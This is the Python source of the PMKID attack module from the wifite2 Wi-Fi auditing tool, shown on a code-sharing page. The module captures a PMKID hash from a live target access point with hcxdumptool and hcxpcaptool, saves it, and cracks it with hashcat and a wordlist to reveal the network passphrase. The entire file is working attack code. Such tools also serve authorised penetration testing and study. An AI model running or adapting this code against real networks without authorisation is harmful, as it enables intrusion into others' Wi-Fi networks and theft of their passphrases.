Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/attack/pmkid.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from ..model.attack import Attack
5
from ..config import Configuration
6
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
7
from ..util.color import Color
8
from ..util.timer import Timer
9
from ..model.pmkid_result import CrackResultPMKID
10
11
from threading import Thread
12
import os
13
import time
14
import re
15
16
17
class AttackPMKID(Attack):
18
19
def __init__(self, target):
20
super(AttackPMKID, self).__init__(target)
21
self.crack_result = None
22
self.success = False
23
self.pcapng_file = Configuration.temp('pmkid.pcapng')
24
25
26
def get_existing_pmkid_file(self, bssid):
27
'''
28
Load PMKID Hash from a previously-captured hash in ./hs/
29
Returns:
30
The hashcat hash (hash*bssid*station*essid) if found.
31
None if not found.
32
'''
33
if not os.path.exists(Configuration.wpa_handshake_dir):
34
return None
35
36
bssid = bssid.lower().replace(':', '')
37
38
file_re = re.compile('.*pmkid_.*\.16800')
39
for filename in os.listdir(Configuration.wpa_handshake_dir):
40
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
41
if not os.path.isfile(pmkid_filename):
42
continue
43
if not re.match(file_re, pmkid_filename):
44
continue
45
46
with open(pmkid_filename, 'r') as pmkid_handle:
47
pmkid_hash = pmkid_handle.read().strip()
48
if pmkid_hash.count('*') < 3:
49
continue
50
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
51
if existing_bssid == bssid:
52
return pmkid_filename
53
return None
54
55
56
def run(self):
57
'''
58
Performs PMKID attack, if possible.
59
1) Captures PMKID hash (or re-uses existing hash if found).
60
2) Cracks the hash.
61
62
Returns:
63
True if handshake is captured. False otherwise.
64
'''
65
from ..util.process import Process
66
# Check that we have all hashcat programs
67
dependencies = [
68
Hashcat.dependency_name,
69
HcxDumpTool.dependency_name,
70
HcxPcapTool.dependency_name
71
]
72
missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
73
if len(missing_deps) > 0:
74
Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
75
return False
76
77
pmkid_file = None
78
79
if Configuration.ignore_old_handshakes == False:
80
# Load exisitng PMKID hash from filesystem
81
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
82
if pmkid_file is not None:
83
Color.pattack('PMKID', self.target, 'CAPTURE',
84
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
85
86
if pmkid_file is None:
87
# Capture hash from live target.
88
pmkid_file = self.capture_pmkid()
89
90
if pmkid_file is None:
91
return False # No hash found.
92
93
# Crack it.
94
try:
95
self.success = self.crack_pmkid_file(pmkid_file)
96
except KeyboardInterrupt:
97
Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
98
self.success = False
99
return False
100
101
return True # Even if we don't crack it, capturing a PMKID is 'successful'
102
103
104
def capture_pmkid(self):
105
'''
106
Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.
107
Returns:
108
The PMKID hash (str) if found, otherwise None.
109
'''
110
self.keep_capturing = True
111
self.timer = Timer(Configuration.pmkid_timeout)
112
113
# Start hcxdumptool
114
t = Thread(target=self.dumptool_thread)
115
t.start()
116
117
# Repeatedly run pcaptool & check output for hash for self.target.essid
118
pmkid_hash = None
119
pcaptool = HcxPcapTool(self.target)
120
while self.timer.remaining() > 0:
121
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
122
if pmkid_hash is not None:
123
break # Got PMKID
124
125
Color.pattack('PMKID', self.target, 'CAPTURE',
126
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
127
time.sleep(1)
128
129
self.keep_capturing = False
130
131
if pmkid_hash is None:
132
Color.pattack('PMKID', self.target, 'CAPTURE',
133
'{R}Failed{O} to capture PMKID\n')
134
Color.pl('')
135
return None # No hash found.
136
137
Color.clear_entire_line()
138
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
139
pmkid_file = self.save_pmkid(pmkid_hash)
140
return pmkid_file
141
142
143
def crack_pmkid_file(self, pmkid_file):
144
'''
145
Runs hashcat containing PMKID hash (*.16800).
146
If cracked, saves results in self.crack_result
147
Returns:
148
True if cracked, False otherwise.
149
'''
150
151
# Check that wordlist exists before cracking.
152
if Configuration.wordlist is None:
153
Color.pl('\n{!} {O}Not cracking PMKID ' +
154
'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')
155
156
# TODO: Uncomment once --crack is updated to support recracking PMKIDs.
157
#Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
158
159
key = None
160
else:
161
Color.clear_entire_line()
162
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist)
163
key = Hashcat.crack_pmkid(pmkid_file)
164
165
if key is None:
166
# Failed to crack.
167
if Configuration.wordlist is not None:
168
Color.clear_entire_line()
169
Color.pattack('PMKID', self.target, '{R}CRACK',
170
'{R}Failed {O}Passphrase not found in dictionary.\n')
171
return False
172
else:
173
# Successfully cracked.
174
Color.clear_entire_line()
175
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
176
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
177
pmkid_file, key)
178
Color.pl('\n')
179
self.crack_result.dump()
180
return True
181
182
183
def dumptool_thread(self):
184
'''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''
185
dumptool = HcxDumpTool(self.target, self.pcapng_file)
186
187
# Let the dump tool run until we have the hash.
188
while self.keep_capturing and dumptool.poll() is None:
189
time.sleep(0.5)
190
191
dumptool.interrupt()
192
193
194
def save_pmkid(self, pmkid_hash):
195
'''Saves a copy of the pmkid (handshake) to hs/ directory.'''
196
# Create handshake dir
197
if not os.path.exists(Configuration.wpa_handshake_dir):
198
os.makedirs(Configuration.wpa_handshake_dir)
199
200
# Generate filesystem-safe filename from bssid, essid and date
201
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
202
bssid_safe = self.target.bssid.replace(':', '-')
203
date = time.strftime('%Y-%m-%dT%H-%M-%S')
204
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
205
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
206
207
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
208
with open(pmkid_file, 'w') as pmkid_handle:
209
pmkid_handle.write(pmkid_hash)
210
pmkid_handle.write('\n')
211
212
return pmkid_file
213
214
215